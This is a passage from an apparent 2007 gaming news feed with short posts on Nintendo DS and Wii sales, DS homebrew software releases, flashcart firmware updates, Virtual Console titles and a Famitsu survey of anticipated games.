Contrast that with the just-released PlayStation 3, which -- contrary to all our expectations -- is starting the New Year with far higher availability than in previous months. Online, consoles are readily available with and sometimes without bundles, and they're turning up in plentiful supply at the usual chain stores. In other words, it looks like the PS3 drought might be already over.
But in spite of the higher profile consoles, the DS has been outselling absolutely everything else for months. Back in November -- the most recent month for which US sales figures are available -- almost a million DSs made their way home with eager purchasers, easily making it the biggest selling console that month. It does well back home in Japan, too: it shifted nearly half a million DSs in the week of December 18-24, more than three times the sales of its closest rival, Sony's PSP.
Nintendo DS Lite...
...M.I.A.
We asked Nintendo to clarify the reasons behind the current DS shortage, but received no response by press time. It's possible there's some problem with the DS's distribution in the US. Maybe Nintendo's efforts are focused so tightly on maintaining Wii availability that its handheld cousin is taking a back seat. Perhaps DS units are being diverted to meet demand in other territories. But then, it's as likely that the svelte DS Lite is just that damn popular.
Which is not that hard to believe, when you take a look at the portable's lineup. Phoenix Wright, Warioware, Elite Beat Agents, Mario Kart, Animal Crossing, and New Super Mario Bros. all rate as some of our favorite games on any console, portable or not. And with 2007 holding the prospect of Pokemons Diamond and Pearl coming in April, Sim City DS, more Zelda, and even Final Fantasy XII: Revenant Wings, the DS demand is not going anywhere.
-------
12/5/07 4.30PM UPDATE: Nintendo sent us an official statement in response to our queries about the sudden DS shortage: "Nintendo DS Lite is the best-selling video game system in the world right now. It has an amazing library of great games for people of all ages, which only adds to its popularity. Nintendo DS Lite proved to be a huge hit for holiday shoppers, which undoubtedly resulted in some spot shortages in various regions. As with all our products, we're working to keep the supply chain filled to meet consumer demand, and the DS Lite should be more readily available over the next couple of weeks. We expect the popularity of DS Lite to continue well into 2007 and beyond."
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January 8th, 2007, 23:26 Posted By: wraggster
New release of DSFTP by bjoerngiesler
Hi,
I've uploaded DSFTP 2.4 to http://giesler.biz/~bjoern/en/sw_dsftp.html. This version has no changes except that it supports chishm's DLDI interface.
What does that mean?
It means that
o out of the box, DSFTP supports nothing but SuperCard CF anymore. But:
o DSFTP can be patched to support any card for which a DLDI driver exists.
This greatly relieves me from having to try to support cards that I don't have access to, and it greatly helps you, the users, because your card will be supported by DSFTP as soon as a DLDI driver is released for it. (Again, a big thank you to chishm is due from everybody.)
How to patch:
o download DSFTP 2.4 from http://giesler.biz/~bjoern/en/sw_dsftp.html
o download dlditool and the appropriate DLDI for your card from http://chishm.drunkencoders.com/DLDI
o patch DSFTP 2.4 with dlditool and the DLDI file
The current release still uses a patched gba_nds_fat, which includes drivers for a lot of things other than SuperCard CF. So theoretically every card supported by DSFTP 2.3 should still work in 2.4. But don't rely on that.
Download at link above
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January 8th, 2007, 23:31 Posted By: wraggster
DragonMinded has posted a new version of .DS Organize
Here's the change list:
# Fixed the infamous crash bug in IRC when someone parted with a message. (This one was hard to find!)
# Fixed some translation issues with the Configuration page.
# Fixed bug in .sd.nds and .ds.gba booting.
# Fixed text wrapping errors on rename file and address book screens.
# Fixed help text stuck on screen in sound player after viewing help.
# Fixed another parsing error with vcards.
# Fixed clipping issue with spray bottle tool in scribble pad.
# Fixed issues with displaying some error messages in irc.
# Fixed inconsistency with nds launcher and cards not supported by built-in loader.
# Fixed issue with gautami font and some upper ascii characters being mapped wrong.
# Fixed a minor streaming buffer bug that seems to help with stability.
# Fixed pausing streams caused streaming to crash.
# Added dynamic loading of code for DSO specific plugins.
# Added customizable iconsets.
# Added .aac playback.
# Added m4a/m4b file playback. The DS is too slow for higher bitrate m4a files but lower bitrates should work.
# Added irc.ini file where users can customize DSO IRC.
# Added descriptions to most of the settings in the configuration.
# Added in fallback so foreign languages without help translations will still display english help.
# Added ability to choose specific streams within a .pls file.
# Added several commands (topic, mode, invite, kick, motd, version, ping, time, ctcp, whowas) to irc.
# Added new dldi interface to allow patching to new/unsupported cards.
# Added ogg vorbis streaming support in shoutcast and icecast servers.
# Added aac streaming support in shoutcast and icecast servers.
# Added an easter egg. See if you can find it!
# Added setting so DSOrganize remembers the last playback mode.
# Added legend to todo screen in help.
# Added m3u playlist support.
# Added symbols for copyright, registered, trademark, euro, pound, and yen to the character set.
# Changed random mode in playback to act more like shuffle.
# Changed picture loading screen to just moving bar, as progress was terribly inaccurate.
# Changed hilighting style on menus.
# Changed streaming detection to properly support iceCast streams.
# Changed buffer behavior on streams to buffer to 200% and more vigorously, for longer stream times.
# Changed .pls file parser to allow regular file playlists.
# Changed browser pull-up menu support to be easier to get to.
# Initialized volume to stop the 500% error when booting from moonshell.
# Re-ported tremor and mad for much better audio playback.
# Updated dswifi library to latest as usual.
# Stopped scrollbar from appearing on very short html files.
# Looked at microphone code, no real way to make the quality better due to speed of writing.
# Redid home screen splash to instead be an overview of the day.
# Made it so the browser doesn't sequentially or randomly play playlist files in sound mode, and changed the playlist icon.
# Rewrote a lot of the HTML renderer. It renders slower now, but will load much much longer pages.
* Fixed weird wordwrap issue with multiple font sizes
* Fixed a bug with style tags at the very end of an html file
* Fixed a bug where opening a page with different colored links left all pages displaying that link color.
* Added bullets and numbered lists
* Stopped extra whitespaces from appearing
* Changed formatting for <div> and <p> tags
* Added <hr>, <big>, <tt>, <code>, <strike>, <h6>, <frameset> with <noframes>, <sub>, <sup>, <em> <strong>, <cite>, <dfn>, <var>, <samp>, <kbd>
* Ignores <script> and <style> tag contents isntead of rendering as text
DSOrganize is meant as a homebrew organizer application for the Nintendo DS that should have come built in in the first place. It is by no means comparible to a full-fledged organizer such as a palm, and it is not planned to become an operating system, video player, or anything similar.
Download and Give Feedback Via Comments
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January 8th, 2007, 23:34 Posted By: wraggster
Heres whats posted on the official site
We are happy to report that we now have a full stable fix for the qkin problem. This is an FPGA logic update which fixes a known hardware issue affecting many users. We are releasing this fix as a public beta. We will move towards a final release if no serious issues are found.
As this is a hardware logic update, it will take slightly longer to apply then a normal firmware update, and the progress bar will proceed more then once. It is important that you leave your usb cable connected until a message box appears telling you that the update has completed. The LEDs will turn off during the update, and will turn back on when the update is complete. After the update, the updater will still report the firmware version as 1.0.2, this is normal.
With this release, our firmware version stays at 1.0.2, and the hardware version is brought up to 1.0.1. The next release of the updater tool will be able to show the firmware and hardware versions separately.
Before applying the update, users who have been affected by the qkin problem should format their DS-Xtreme, and it is recommended to copy the 1.0.2 skin folder, available below, back onto the device.
We would like to take this time to again thank everyone for their patience with us as we developed this fix, and also to apologize for the inconveniences this bug has caused. We would also like to thank all of the users who helped us in resolving the issue, especially those users who sent us their devices for analysis, and all of the initial beta testers.
--Aphex
Download the new updater HERE
You can BUY this flashcart for the Nintendo DS from Divineo Spain, Divineo Germany, Divineo USA, Divineo China, Divineo UK
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January 9th, 2007, 00:05 Posted By: wraggster
via ign
Today SEGA of America announced that five more titles from the Genesis would be making their way to the Wii's Virtual Console. These games will be released throughout Q1 2007 and include: Streets of Rage, Bio-Hazard Battle, Gain Ground, Comix Zone, and Bonanza Bros.
"The Wii Shop Channel is a great avenue for gamers who want instant access to classic SEGA Genesis titles," said Scott A. Steinberg of SEGA of America. "Legendary titles such as Streets of Rage, Comic Zone and Bonanza Bros. are a perfect fit for this platform and will be ready for download later this month."
Virtual Console titles can be downloaded through the Wii Shop Channel by using Wii Points. Wii Points can be purchased online or at select retailers. Each of these games will cost 800 Wii Points.
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January 9th, 2007, 13:41 Posted By: SukkoPera
My first NDS homebrew application has just been released. It's a collection of utilities useful for the maintenance of the media card you are using with your flashcart.
At the moment of this first release, two utilities are included:
- The first one checks, and optionally fixes, any errors found in the filesystem of your media card. This is basically the same thing that you do under Windows when you run "Scandisk", but it saves you the hassle of having to turn on your computer, remove your card, connect it to the PC, etc...
- The second utility will be mainly useful for users of Supercard family flashcarts. Such carts show ROMs and programs sorted by date. Many users (including me) prefer to have them sorted alphabetically, which is exactly what this utility does.
Please report any comments/bugs/appreciations .
Disclaimer:
PLEASE NOTE THAT THIS PROGRAM MESSES WITH THE FILESYSTEM OF YOUR MEDIA CARD, WHICH MIGHT RESULT IN A DATA LOSS. THEREFORE, BEFORE USING IT, ALWAYS MAKE A BACKUP OF ANY IMPORTANT DATA.
Downloads:
- Binaries
- Source
The program uses a hacked version of Chishm's libfat to allow for raw I/O:
- Source
- NDS binaries
- GBA binaries (untested)
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January 9th, 2007, 17:07 Posted By: wraggster
Via cvg
Within the next two months, you will be able to download some of the best Nintendo games ever made onto your Wii, including Super Mario World and Ocarina of Time, Nintendo has revealed.
Releases have been reasonably slow on the Virtual Console so far but things look like they'll be much better in coming weeks, with Nintendo promising 36 games to arrive by the end of March.
20 Nintendo titles on the way will include the aforementioned titles, along with Super Street Fighter II: World Warrior and Super Probotector on the Super NES.
The Mega Drive section will get nine new games, including Streets of Rage, Bio-Hazard Battle, Bonanza Bros. and Comic Zone.
And Soldier Blade, Double Dungeons and New Adventure Island are three of the seven games promised from the Turbografix.
It seems we'll finally be given some proper classics to play (Super Mario Bros. 1 is great but a tad aged now) and with many of you guys expressing concerns of a possible games drought in the CVG Comments forums, the VC will serve as a nostalgic gap filler.
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January 9th, 2007, 17:10 Posted By: wraggster
Nintendo Wii has sold 989,118 consoles in Japan since it went on sale on December 2, compared to 466,716 PS3s sold since November 12, according to stats release by Tokyo Research and publisher Enterbrain.
Although this could partly be put down to manufacturing issues for Sony that lead to a massive shortage of PS3s for the launch period, this is a phenomenal success for Nintendo.
With Wii's shooting off shelves like crazy - in fact, they're hard to find in retail stores around the world - this success looks set to continue well into 2007.
via cvg
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January 9th, 2007, 17:11 Posted By: wraggster
via cvg
id Software's John Carmack has indicated that the developer is "hoping" to develop a DS version of Orcs and Elves, its first-person, turn-based fantasy RPG on mobile phone.
Although nothing's definite, in an interview with Wired Carmack spoke of a hope to move over to the Nintendo handheld with title and about "enhancing the cell phone game on there". It "would be our first real direct entry back into the Nintendo world", he said.
He continued, "We've never had a close, good relationship with Nintendo from like way back, when we had some back [bad?] experiences really early on..." - relating to "... Wolfenstein stuff...", apparently.
"...and we were always just kind of peeved at the whole Nickelodeon censor arrangement with Nintendo. So we've kept them at arm's length for many console generations now."
But it appears that relationship could be about to change for the better.
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January 9th, 2007, 17:13 Posted By: wraggster
via cvg
We know - all WWII games tend to look the same nowadays, but these two shots offer a sneak preview of the action in Medal Of Honor Vanguard in development for Wii and PS2.
They're full of guns, soldiers, destroyed buildings and fire - no surprises there, but nevertheless look pretty good.
We're not sure which specific format these screens are taken from - EA labelled them as Wii/PS2 screens. But with the gun aiming off-centre in both screens, we suspect they could be from the Wii game, which we expect to have graphical enhancements over the PS2 version.
Take a look for yourselves and tell us what you think.
Screens Via Comments
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January 9th, 2007, 17:14 Posted By: wraggster
2D-style scrolling space shooters has become an underground scene nowadays, but the hardcore of you that still love a good bullet-dodging session should get excited about Nanostray 2.
The first game was a little disappointing, with a flawed weapon change system and a weird view perspective, but that all looks to be fixed - i.e. taken out - in the sequel, and it's looking ace.
If you're the sort to get all excited about full-screen-sized enemies firing crazy amounts of bullets onto the screen, or seeing the action switch manically from vertical to horizontal scrolling gameplay, check out this one-minute trailer now.
Trailer Here
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January 9th, 2007, 17:25 Posted By: wraggster
via gamesindustry
Entertainment retailer HMV has acknowledged the Nintendo Wii was one of its hottest products this Christmas - but the lack of stock available to sell has left the chain frustrated.
The company was chosen as the official UK launch partner for the Wii, and its flagship Oxford Street store hosted a midnight event attended by Nintendo UK boss David Yarnton along with several celebrities.
While game software and hardware helped the retailer perform well in the competitive Christmas period, pre-ordered stock quickly sold out - and HMV could have shifted many more units had there been enough to go around.
"Games products, particularly from the new Wii range, proved to be among our strongest performing titles - which only served to underline our sense of frustration that we did not have more units of the Wii console to sell," a HMV spokesperson told GamesIndustry.biz.
Despite the lack of stock, the entertainment specialist did reveal it enjoyed a successful Christmas in a market that saw heavy discounting of products even before the advent of the January sales.
"In what was a highly competitive market and despite very challenging retail conditions, HMV more than held its own - instore and online," the spokesperson confirmed.
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January 9th, 2007, 17:36 Posted By: wraggster
via kotaku
In short: Smart, slick, cheap(ish) and fun. GameSetWatch points to Western-Game-Developer-In-Japan-blog Japanmanship, which was a good rundown of how the Wii is fairing in the Japanese market. Insights include:
The Japanese like their slick designs and that may explain why the Gamecube wasn't quite the success Nintendo was hoping for. But the Wii is small, compact, slick and clean. Exactly the kind of thing the Japanese go ape-shit over. Compare that to the curved, bulky designs of both the Xbox and PS3 and it may give a little clue as to the apparent early success of the Wii.
...Price is probably the clincher. If you're earning little money, as a lot of Japanese are, and you have a family to support, 60,000 Yen (US$ 500, EUR 380) for a toy is simply too much of an expense. 25,000 (US$ 210, EUR 160) though reaching the upper limits of impulse-purchase bracket is a much fairer price to ask for a console and will probably push those people on the fence towards the Wii...
Good points, all of them. The post comes with a fitting nod at the competition.
In the long run only a fool would predict the PS3 will fail; Sony has an incredibly strong brand in the Playstation and even their recent hubris and bad decision making can't kill a whole console line outright. No, the PS3 will do admirable sales eventually, I am sure of it. The Wii though has a head-start and has already won the battle for the hearts and minds of the Japanese public.. Agreed. For all the baiting and name-calling, Sony is far from out, but just started out on the wrong foot. Several times.
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January 9th, 2007, 17:38 Posted By: wraggster
via kotaku
Site Next Generation has a good list of upcoming 2007 titles. Games we'll be all going gaga over or be sorely disappointed by. Stand-out titles include:
Wario Ware: Smooth Moves
Dragon Quest Swords: The Masked Queen and the Tower of Mirrors
Sonic and the Secret Rings
Super Mario Galaxy
The Sadness
Super Smash Bros. Brawl
Metroid Prime 3: Corruption
That's actually my shopping list. Yours?
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January 9th, 2007, 19:13 Posted By: wraggster
via joystiq
Those of you lucky enough to get a Wii on launch day have probably already blazed through Twilight Princess and are clamoring for more Zelda goodness. Well, if you don't mind going through back to two dimensions and undertaking some light ROM hacking, Parallel Worlds means more Zelda, less waiting.
This massive hack to the SNES' Link to the Past, released on Dec. 30, was the product of four years work by dozens of contributors, and the results are pretty astounding. A completely new story, new overworld and dungeon maps, new items, new characters and a new interface make this more like a full-on sequel than a simple sprite hack.
More Info
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January 9th, 2007, 19:15 Posted By: wraggster
via joystiq
Nyko is another company jumping into the fray and answer our calls to create a rechargeable battery pack for the Wii-mote. Joytech showed off their rechargeable station last month, with disgusting nunchuk holding claws, but pretty sweet recharge through USB.
The Nyko 87000 charge station comes with 2 NiMH rechargeable battery packs, six foot power cable and the battery packs are "rubberized" for grip. So, how much is it? Funny thing ... the guys who can give us that information are lost at CES in Vegas. We'll update this post as soon as we can give details on release date and cost. It's just nice to know that our Wii battery budget, which is a large expenditure within the Wii's hidden cost, will soon be no more.
Screenshot Via Comments
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January 9th, 2007, 19:18 Posted By: wraggster
New Weekly Special from Play Asia
Weekly Special: Bokura no Taiyou: Django and Sabata (aka. Lunar Knights) for Nintendo DS™ at US$ 24.90 only - offer valid for 1 week
From the publisher: Descend into the gothic world of Lunar Knights and take control of two adventurers on a quest to rid their world of evil. One hero is guided by the moon and uses swords to dispatch his opponents, while the other is powered by the sun and takes on the forces of evil using his firearms. Together they must explore their land, improve their skills, solve puzzles, and uncover the mystery of the dark force that opposes them.
Konami's Bokura no Taiyou: Django and Sabata (aka. Lunar Knights: Vampire Hunters) for Nintendo DS™ is now available at discounted US$ 24.90 only.
Game features:
A new action RPG for the Nintendo DS from the designers at Kojima Productions
Two different heroes with unique powers and weapons
In-game day/night cycle and weather affects gameplay
Unleash elemental attacks with the Nintendo DS touch screen and microphone
Take flight in 3D touch screen shooter segments to dispose of your undead enemies’ remains
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January 9th, 2007, 19:21 Posted By: wraggster
press release from Sega:
SEGA® of America, Inc. today announced the first round of titles from its SEGA Genesis™ library are available now on the Wii™ Shop Channel for download and play on the Wii™ Virtual Console. Prices to download the SEGA Genesis titles will start at 800 Wii™ Points. Wii Points can be purchased in the Wii Shop Channel or at retail outlets at an MSRP of $20.00 for 2,000 points. Spanning all the popular genres, the titles currently available are Sonic The Hedgehog™, Altered Beast™, Golden Axe™, Columns™, Ecco the Dolphin™, Gunstar Heroes™, Space Harrier II™, Toe Jam & Earl™, Ristar™ and Dr. Robotnik's Mean Bean Machine™.
Titles Currently Available:
• Sonic The Hedgehog - Rocket Sonic, the fastest blue hedgehog on earth, through hair-raising loop-de-loops and dizzying dives past bubbling lava, waterfalls and on as you gather up rings and stop Dr. "Ivo" Robotnik's schemes for world domination! (1991/© SEGA)
• Altered Beast - When Zeus, the legendary Greek God, brings you back to life, you set forth on a mission to rescue his daughter Athena from the underworld. Along the way, collect the Spirit Balls dropped by enemies to increase your strength and transform into a variety of mythical creatures with powerful attacks. (1989/© SEGA)
• Golden Axe - Three mighty heroes have a score to settle with the evil Death Adder in this classic action game. As a powerful fighter, a female amazon, or a mighty dwarf, you'll fight through Adder's henchmen with weapons and magic attacks or ride the fearsome, fire-breathing beasts to help in you combat. (1988/© SEGA)
• Columns - Test your hand at the ancient Phoenician game of Columns. Multi-colored gems drop from the top of the screen into a pit and it is up to you to quickly arrange the order of the jewels as they fall into lines of three or more. If your gems pile up and reach the top, the game is over. (1990/© SEGA)
• Ecco the Dolphin - Help Ecco the Dolphin find his missing friends by exploring his vast ocean world. You must surface for air and keep an eye out for enemies as you search the depths. Ecco's unique sonar ability will give you helpful information from other sea creatures. (1992/© SEGA)
• Gunstar Heroes - The Gunstar 9 planet was peaceful for many years until the vicious dictator, Colonel Red, kidnapped the Gunstar twins' older brother and used mind control to make him his slave. You'll face many different enemies and bosses as you battle to stop the dictator from unleashing "Golden Silver the Destructor" with apocalyptic consequences. (1993/© SEGA)
• Space Harrier II - Fantasyland has been taken over by destructive forces and a call for help comes from deep in the universe. Space Harrier is quick on the scene armed with his laser to defeat wave after wave of destructive forces through 12 thrilling stages, with a dangerous boss waiting at the end of each round. (1988/© SEGA)
• Toe Jam & Earl - Toe Jam & Earl are two fun-loving aliens who accidentally crash onto earth when their spaceship collides with a meteorite. They must find 10 pieces of the spaceship so they can get back home to Planet Funkotron, but not all levels have the pieces. Once you find a piece of the ship, you'll receive a hint as well. (1992/© ToeJam&Earl Productions, Inc. © SEGA)
• Ristar - Greedy, an evil space pirate, has corrupted the kings of Valdi System's seven planets and enslaved the people who live there. The plea for a hero is answered by Ristar who uses his amazing extendable arms and courage to save Valdi from Greedy. (1995/© SEGA)
• Dr. Robotnik's Mean Bean Machine - Dr. Robotnik is stamping out music and fun in Mobius with his giant, robotizing Mean Bean Steaming Machine. Before he turns all the citizens of Beanville into robots, you must save the day by gathering up beans in matching colors and defeating Robotnik's guards. (1993/© SEGA)
"Nintendo has offered a great gateway to bring classic SEGA titles such as Sonic The Hedgehog, Altered Beast and Toe Jam & Earl to Wii console owners," said Scott A. Steinberg, Vice President of Marketing, SEGA of America, Inc. "This is only the beginning though, as you can expect to see more announcements regarding other SEGA classic titles coming to the Wii Shop Channel in the coming months."
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January 9th, 2007, 19:25 Posted By: wraggster
via liquidice
Another possible way to access the Wii as emerged.
IDefense is reporting a new Opera JPEG exploit.
There is a lot of info on how this all works along with sample code here.
This is way beyond what I will pretend to understand about programming, so i'm just posting it here in case someone else might find it interesting.
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January 9th, 2007, 19:32 Posted By: wraggster
via wiifanboy
Quite possibly some of the most evil laughter that has been emitted from the Wii Fanboy staff in a long time, the embedded video that shows the fast-footed postman receiving his due has won many over at digg, eventually gaining our attention. We felt that it was our duty to show this to all who have not been able to. So, be merry, be evil and watch the video! Be warned though, that if you do this in your game the framerate will drop to less than one-per-second.
video here -->
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January 9th, 2007, 19:35 Posted By: wraggster
via wiifanboy
The VC has been kicking out some great games on a fairly consistent basis, but we know not all of you are pleased. many argue that there aren't enough N64 games for grabs and some want a little more SNES action.
What console do you want to see more games from on the VC?
NES: I can never get enough of those old-school classics
SNES: that's more my cup of tea
TG-16: I missed out on the console before, show me what was so great about it
Genesis: Sega rocked the 16 bit age
N64: I need more evolved gameplay and graphics on my VC
Answers Via Comments
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January 9th, 2007, 19:37 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
Version 0.3.1
You can now browse the shoutcast directory and select your stream in icons1. This is new code but tested last night and works for 2/3 stations
We have made some progress with playing longer segments but havent included changes just yet (still sorting out borders etc).
fixed link in icons1 that was pointing to old vidplay.html
mp3 playlists are now built from .tpl's
Download Here --> http://downloads.sourceforge.net/wmc/
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January 9th, 2007, 19:39 Posted By: wraggster
via wired
A big part of Opera's CES lineup is their Web browser for Wii. Since the device is in public beta right now, I decided to ask what we might see in the final version that Nintendo will offer this spring. The thing is, Opera reps don't know -- in fact, they say, it's Nintendo who's calling the shots. They'd like to add support for widgets, maybe some tabbed browsing, all that good stuff. But if Nintendo doesn't tell them to put it in, it doesn't go in.
Opera also brought their Nintendo DS browser software -- currently only available in Europe and Japan. Why isn't this out in the US? Opera says they'd like to, but again, it's Nintendo's call. They speculated it might be because Nintendo wanted to have internet hot-spot partners up and running first. I guess that whole thing with McDonald's wasn't the success they'd hoped it would be.
Opera was also passing out wrist straps that read Opera Powered, right by the Wii demo area. "You're not allowed to use those with your Wii remote," said the guy as I took one. I think that was their intention at first, but the flimsy line looked like a recipe for disaster
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January 9th, 2007, 19:42 Posted By: wraggster
News via Pink Godzilla
While considered the gaming authority in Japan, Famitsu is also renowned for its constant surveying of consumers, retailers and developers. This week, Famitsu published the results of its 2007 predictions based on the responses it received in its survey. Continue reading for the results.
The first question posed to consumers, retailers and developers was, "What piece of hardware or software do you think will be the break away hit of 2007?" The Wii was picked #1 by a wide margin, nearly quadrupling the vote total of second place Dragon Quest IX for the NDS. Here are the complete results with the total number of votes in parentheses:
1. Nintendo Wii (412)
2. Dragon Quest IX for NDS (122)
3. Nintendo DS (107)
4. Playstation 3 (56)
5. "I can't predict." (50)
Sadly, "I can't imagine" nearly doubled the vote total of the Xbox 360. So people might want to hold off before they start picking out a coffin and headstone for the PS3. After all, no console has ever won the console wars without finishing first in the Japanese market.
Of note, when Famitsu posed the same question in the beginning of 2006, the results were quite different with the Playstation 3 receiving the most votes, the NDS coming in second and the Nintendo Wii finishing in third. What a difference a year makes.
The next question was, "Which system do you think will sell the best in 2007?" Predictably, the Nintendo DS, the fastest selling game system in Japan's history, was the biggest vote-getter. Surpisingly, the Sony PSP couldn't even muster the 15 votes needed to beat out "I can't predict." Here are the complete results.
1. Nintendo DS (432)
2. Nintendo Wii (326)
3. Playstation 3 (116)
4. Xbox 360 (26)
5. "I can't predict" (15)
Question #3 asked the respondents to select the five most anticipated titles for each of the major systems in 2007. Here are the results.
PLAYSTATION 2
1. "Nothing in particular." (280)
2. Grand Theft Auto San Andreas (97)
3. Kingdom Hearts II Final Remix + (67)
4. Super Robot Taisen OG (64)
5. .hack//G.U. Vol. 3 (28)
PLAYSTATION 3
1. Metal Gear Solid 4 (269)
2. Final Fantasy XIII (262)
3. "Nothing in particular." (115)
4. Biohazard 5 (45)
5. Gran Turismo 5 (41)
NINTENDO Wii
1. Smash Bros. X (370)
2. "Nothing in particular." (127)
3. Dragon Quest Swords (122)
4. Super Mario Galaxy (94)
5. Fire Emblem (56)
XBOX 360
1. Lost Odyssey (199)
2. "Nothing in particular." (166)
3. Halo 3 (95)
4. Blue Dragon (91)
5. Lost Planet (67)
SONY PSP
1. "Nothing in particular." (243)
2. Monster Hunter Portable 2nd (219)
3. Final Fantasy VII: Crisis Core (109)
4. Final Fantasy Tactics (71)
5. Metal Gear Solid Portable Ops (58)
Nintendo DS
1. Dragon Quest IX (608)
2. Phoenix Wright 4 (52)
3. "Nothing in particular." (51)
4. Final Fantasy XII (23)
5. Legend of Zelda DS (21)
Questions #4 and #5 asked the respondents to pick their most anticipated Publishers and Developers of 2007. While it is hardly a surprise that Kojima (of Metal Gear fame) and Miyamoto (of Mario and Zelda fame) were picked #1 and #2 for the developer category, the most anticipated publishers list might surprise you.
1. Nintendo (266)
2. SquareEnix (181)
3. Capcom (118)
4. Sony Computer Entertainment (60)
5. Sega (45)
6. Konami
7. Microsoft
8. Level Five
9. Bandai Namco Games
10. Mist Walker
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January 9th, 2007, 19:45 Posted By: wraggster
The Cobra team who are famous for their GameCube Modchip posted a new bios for that modchip and posted this:
Happy new year!
Check the PDF manual for more info.
It seems the GC scene is pretty much dead, greetings to those who keep it alive.
Wii'll be back soon
I personally hope for an easier way to get homebrew on the Wii.
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January 9th, 2007, 20:01 Posted By: wraggster
Lotti has released a sound fixed version of his MancalaDS Game:
"some of you, probably, have noticed the sound bug that was afflicting the 2.0 version of MancalaDS.. well it was fault of the ancient makefile that i was using.. now i changed it and i recompiled all.. happy download to all!"
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January 9th, 2007, 20:03 Posted By: wraggster
via dsfanboy
You might have noticed that there was a conspicuous hole in our look at some of this year's most exciting games. Whither Diddy Kong Racing, you asked, tear-streaked faces turned up to the sky as you shook your fists in rage and dismay. Okay, maybe we're a little dramatic, but it was missing, and here's why: we wanted to take some time to get intimate with Diddy Kong without the pesky interference of so many other droolariffic games.
After Rare went to the dark side, we never thought we'd feel the shining spotlight of their love again, but it looks like they've come crawling back for a piece of the DS, and all may be forgiven. Even though Diddy Kong Racing DS is an enhanced port of the (beloved) N64 game, the mere fact that it's happening makes it a contender for this year's single most interesting game.
Of course, last week's big news of the Stamper brothers fleeing Rare might change things for the Nintendo-Microsoft-Rare relationship. Diddy Kong Racing may be the one thing we have to cling to over the next few years, or it may be the rekindling of a rich and lucrative relationship. We'll hope for the latter, of course, but the future is murky for Rare. Their last few outings haven't exactly been up to the level of promise that Microsoft obviously saw in them, since they paid a record $377 million for the company, which has since produced little in the way of commercial success. Critical success is all well and good, but it doesn't fill the pockets.
Now, with the company's future up in the air and few details about Diddy Kong Racing DS released to date, gamers are holding their collective breath and wondering just what it is that's in store for them with the handheld racer. We decided to take a little time out to recoup what we know. A short teaser video (included below) has been available for a long time, but actual facts are scattered hither and yon ... or they were.
The facts:
Diddy Kong Racing DS is an enhanced port of the N64 game. This means that gameplay will be largely similar, though the game will look (and perhaps play) even better than the lauded original. That promise alone gives Rare some pretty big shoes to fill.
All the original tracks are carried over, though they have been retextured.
The tracks may be the same, but significant changes have been made to the world itself; look for lots of little additions, like Taj the genie's upgrade to a tent in a tree-lined area.
Few changes have been made to characters. Predictably, Conker and Banjo will not be making their DS debut here, but will instead be replaced by Dixie Kong and Tiny Kong. It is as yet unknown if the two unlockable characters from the N64 game will be available, but we will assume so, as there are four spots for unlockable characters. Look for the N64's T.T. and Drumstick, as well as two unknown characters (though it seems they will have previously been NPCs who are now playable).
Eight person multiplayer. Once this game is released, we're gonna guess that Mario Kart DS Game Nights may be a thing of the past.
The microphone has been confirmed for use in Diddy Kong Racing, but don't get too excited about voice chat. So far, all we know is that players must blow into the mic to boost off in hovercraft.
In that same vein, to boost off with the car and plane, the player must rub the touchscreen. Mind those sweaty fingers!
DKR 2.0 - the DS game is set to be laden with opportunities for players to create their own content. In Wish Race mode, you can create your own tracks, and you can customize many other aspects of the game, such as your vehicles.
Share your works of racing art created in Wish Race mode with others via Nintendo WiFi.
The N64's Silver Coin challenges will not be included in the DS game. Instead, take Taj's magic carpet into the air for a target-shooting minigame.
Various changes have been made to power-ups, including the removal of the speed-boosting bananas.
The game is slated for February 5 for North America, and nothing beyond "first quarter 2007" has been announced for other regions, and DKR DS was conspicuously absent from NoE's recent rundown of games to watch in 2007, which focused largely on Q1 titles.
We are waiting very, very impatiently for this game's release. Okay, maybe that's not quite a fact in sense of the other items ....
There you have it -- the details we have to chew over for the remaining month until the debut of Rare on the DS. Are you as excited as we are?
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January 9th, 2007, 20:06 Posted By: wraggster
via dsfanboy
A new Japanese trailer for Professor Layton has surfaced over at GameTrailers.com, showcasing some of the stylus-driven puzzles and excellent anime-inspired FMV the final game is to hold. It increases our desire for the game ten-fold, however we wonder if we are the only ones. Are you guys as excited as we are?
The game is currently slated for a February 15th release in Japan.
Trailer Here
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January 9th, 2007, 20:08 Posted By: wraggster
via dsfanboy
2007 looks to be one of the most exciting years, if not the most, gaming has ever seen. And the DS is looking to be at the top of its game in the coming year. So, we'd like to know, just exactly what game are you most excited about this year? If your choice is not represented in the available answers below, then leave a comment and tell us what you desire!
What game do you want most in 2007?
Phoenix Wright: Ace Attorney Justice For All
The Legend of Zelda: Phantom Hourglass
Lunar Knights
Pokemon: Diamond/Pearl
SNK vs. Capcom: Card Fighters
Wario: Master of Disguise
Spectrobes
Custom Robo Arena
Final Fantasy Crystal Chronicles: Rings of Fate
Final Fantasy XII: Revenant Wings
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January 9th, 2007, 20:14 Posted By: wraggster
Those that know Wraggy know that im a massive Command And Conquer fan, well heres another test release from the Command And Conquer DS Clone Project :
Hi everyone, I'm now ready for the third test! This one is bigger now I have some of the basics nailed. There are Five tests embedded in the ROM selectable from a front menu. Sorry but to launch each test you'll have to reload the ROM inbetween. Please try each one and let me know how you get on!
Expected Results:
Test A : Should say 'Test A Completed Ok!'
Test B : You should see sin wave text and coloured boxes scrolling around. You can adjust rates with the debug menu 'Fun' options.
Test C : Should show a palette in a grid.
Test D : Should show a colourful pattern of tiles, Red, Green, Blue, Yellow, Cyan, Magenta, White, Dark Red, Dark Green and Dark Blue which then repeats. Some of the original menu is visible through some of the red tiles.
Test E : Should show a pattern of greenish tiles, but is likely to just freeze the DS right now. Sorry! Just wondering if it's the same for everyone.
Notes on using the debug menu:
The 'Select' button hides/shows the debug menu. 'B' goes up a menu or cancels a modification. 'A' enters a menu or begins to modify a value. When modifying the menu cursor changes to a '!'. Use up/down to change the value.
PC Executable:
I've also included the PC executable that runs with SDL. I'm sort of interested to know if this works on everyone's computers. Spacebar = SELECT, Z = B button, X = A button.
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January 9th, 2007, 20:35 Posted By: wraggster
via ign
